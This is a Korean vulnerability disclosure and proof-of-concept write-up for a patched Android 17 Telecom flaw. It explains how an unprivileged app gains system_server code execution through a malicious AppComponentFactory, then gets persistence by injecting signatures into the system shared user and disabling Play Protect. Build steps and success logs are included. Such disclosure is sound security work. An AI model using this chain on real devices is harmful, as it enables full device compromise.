
CVE-2026-49881, Android 17의 Telecom 서비스에 있는 InCallController 클래스의 논리적 결함으로, 권한이 없는 앱이 UID 1000 system_server로 임의 코드 실행을 수행할 수 있게 합니다.
이 문서는 Android 17 Telecom 서비스의 InCallController 클래스에 존재하는 논리적 결함인 CVE-2026-49881에 대한 PoC 및 분석 문서입니다. 이 취약점을 통해 권한이 없는 앱이 추가적인 사용자 상호작용 없이 UID 1000 system_server 권한으로 임의 코드 실행을 달성할 수 있습니다. 또한, 최신 Android 버전에서도 system_server 코드 실행이 지속성(persistence) 확보로 쉽게 이어질 수 있음을 보여줍니다.
이 취약점을 2026-04-10에 Android 보안 팀에 보고했으며, 2026-05-06에 확인되었고, 2026년 9월 Android 보안 게시판에서 수정되었습니다. (패치 확인)
보고 시점 기준으로, 제가 아는 한 이 취약점은 Android 16 QPR3 이후(및 17 Beta 빌드 포함)의 Pixel 빌드에만 실제로 영향을 미쳤지만, 이후 Android 17 AOSP 안정 릴리스에도 포함되었습니다.
이 문제로부터 보호하려면 시스템 보안 패치와 함께 Google Play 시스템 업데이트를 설치해야 합니다. (Telecom은 Android 17부터 mainline 구성 요소입니다)
system_server에서 코드 실행을 달성하는 방법을 보여주며, id 및 스택 추적을 logcat에 기록하고, 자신을 system_server 구성 요소로 재설치합니다.build.sh를 실행하여 PoC를 컴파일합니다. 또는 수동으로 ./gradlew assembleSystemRelease를 실행하고, 결과로 생성된 app-system-release.apk를 app/src/poc/assets/system.apk로 이동한 다음 ./gradlew assemblePocRelease를 실행할 수 있습니다.system_server에 진입한 후 Settings.Global의 package_verifier_user_consent를 -1로 설정하여 Play Protect를 강제로 비활성화합니다. 알 수 없는 서명으로 인해 재설치 트랜잭션이 가로채질 수 있기 때문입니다. 테스트 후 설정에서 이를 다시 활성화해야 합니다.system_server로의 재설치 단계는 OEM이 때때로 변경하는 심볼을 사용하여 PMS 구조를 탐색하는 데 의존하므로 OEM별 맞춤화가 필요할 수 있습니다.예상 PoC logcat 출력:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
이것은 이례적으로 직접적인 취약점입니다. 특정 Telecom 관련 작업이 발생할 때마다 InCallController는 getInCallServiceComponents를 통해 사용 가능한 서비스를 검색하려고 시도합니다. 이는 자연스럽게 통화가 시스템에 등록될 때 트리거되지만, 앱은 트랜잭션 호출 API인 TelecomManager.addCall 덕분에 요청 시에도 이를 트리거할 수 있습니다. (참고: PoC의 Start Exploit 버튼이 사용하는 방식입니다) 이 API는 MANAGE_OWN_CALLS 권한이 필요하지만, 설치 시 자동으로 부여되는 일반적이고 사용자에게 보이지 않는 권한입니다.
이 열거는 취약한 버전에서 다음과 같이 구현됩니다:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}
serviceClassExists가 InCallService 인텐트와 android.telecom.CLASS_EXISTENCE_CHECK 메타데이터 값을 선언하는 모든 구성 요소에 대해 실행된다는 점에 유의하세요. 유효하거나 활성화된 InCallService에만 적용되는 것이 아닙니다. (해당 검사는 분기 아래에서 getInCallServiceType 및 isServiceEnabled로 구현됩니다)
serviceClassExists는 다음과 같이 구현됩니다:
/**
* Verifies that the class for a given ServiceInfo exists within its package.
* This prevents a system crash if a service is declared in the manifest but its
* class was not included in the compiled code.
* @param serviceInfo The ServiceInfo of the service to check.
* @param userHandle The user under which to check for the service.
* @return {@code true} if the class exists, {@code false} otherwise.
*/
private boolean serviceClassExists(ServiceInfo serviceInfo, UserHandle userHandle) {
Log.i(this, "serviceClassExists check");
try {
Context packageContext = mContext.createPackageContextAsUser(
serviceInfo.packageName,
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY, userHandle);
ClassLoader classLoader = packageContext.getClassLoader();
Class.forName(serviceInfo.name, false, classLoader);
return true;
} catch (NameNotFoundException | ClassNotFoundException e) {
Log.w(this, "Skipping InCallService: class not found for " + serviceInfo.name);
return false;
} catch (Exception e) {
Log.e(this, e, "Error checking for existence of " + serviceInfo.name);
return false;
}
}
CONTEXT_IGNORE_SECURITY와 함께 createPackageContext를 사용할 때의 위험성은 잘 문서화되어 있으며, 이 경우 system_server 자체가 신뢰할 수 없는 구성 요소에 대해 해당 앱의 DEX에 클래스가 존재하는지 확인하기 위해 이를 실행합니다. 그러나 언뜻 보기에는 Class.forName에서 initialize=false로 얻은 컨텍스트를 사용하기 때문에 안전해 보일 수 있습니다. 개발자는 이 위험을 잘 알고 있었고 system_server에서 외부 클래스가 초기화되지 않도록 해당 인수를 지정했을 가능성이 매우 높습니다.
안타깝게도 이 주의는 너무 늦었습니다. 외부 컨텍스트의 getClassLoader에 의해 이미 피해가 발생했습니다. 공격자 앱이 매니페스트에서 android:appComponentFactory로 AppComponentFactory를 정의하는 경우, CONTEXT_INCLUDE_CODE 및 CONTEXT_IGNORE_SECURITY로 생성된 컨텍스트에 해당하는 LoadedApk의 getClassLoader 메서드는 먼저 디스크에서 외부 앱의 기본 클래스 로더를 검색한 다음 클래스 로더를 반환하기 전에 팩토리의 생성자와 instantiateClassLoader 메서드를 모두 실행합니다.
이 클래스는 공격자 앱이 제어할 수 있으므로 Telecom 컨텍스트에서 즉시 임의 코드 실행으로 이어집니다.
성공적인 system_server 코드 실행의 결과를 보여주기 위해 PoC는 자신을 지속적인 system_server 구성 요소로 재설치하는 방법을 시연합니다. (이 기술은 Michał Bednarski의 AbxOverflow / CVE-2024-34740 PoC에 게시된 기술을 각색한 것입니다)
다음과 같이 수행합니다:
system_server에 진입한 후 PackageManagerService.mSettings로 동적으로 리플렉션하여 PoC 앱의 Signature 객체를 검색합니다."android.uid.system"에 해당하는 SharedUserSetting을 검색하고 CertCapabilities.SHARED_USER_ID와 함께 PoC의 Signature를 getSigningDetails().mPastSigningCertificates에 두 번 주입합니다.android:sharedUserId="android.uid.system" 및 android:process="system"이 추가된 변형을 재설치합니다. (이전 단계의 휘발성 수정 사항도 packages.xml로 플러시합니다)이렇게 하면 회전 기록 일치로 인해 PackageSignatures의 canJoinSharedUserId()가 통과하고 지속적인 system_server 권한이 생성됩니다.
가질 수 있는 한 가지 질문은 이 취약점이 왜 존재하는지, 특히 문서화되지 않은 메타데이터 플래그 뒤에 숨겨진 옵트인 클래스 존재 검사가 왜 있는지입니다.
확실히 말할 수는 없지만, 이 미스터리에 대한 답은 AOSP를 조금 더 파보면 찾을 수 있을 것입니다. 클래스 검사와 메타데이터 비교는 모두 같은 시기에 구현되고 있던 android.net.ConnectivityCallListenerService를 고려하기 위해 추가되었을 가능성이 높습니다.
이 서비스는 처음에 프레임워크 매니페스트에 정의되었지만 어디에도 구현되지 않았습니다. (그리고 실제로 추가되었을 때는 Flags.FLAG_ENABLE_INCALL_SERVICE_API 기능 플래그 뒤에 있었습니다) 테스트에서 충돌이 관찰된 후, 누군가 하드코딩된 예외 대신 재사용 가능한 "심층 방어" 검사로 수정을 구현하기로 결정했을 것입니다. 이 서비스의 매니페스트 정의는 다음과 같이 명시합니다: "android.telecom.CLASS_EXISTENCE_CHECK"를 정의하여 "이 서비스의 클래스가 모든 빌드에 존재하지 않을 수 있음을 나타내고" "바인딩을 시도하기 전에 클래스 존재를 확인하도록 Telecom에 지시"합니다. (그래서 우리가 지금 여기 있는 것입니다)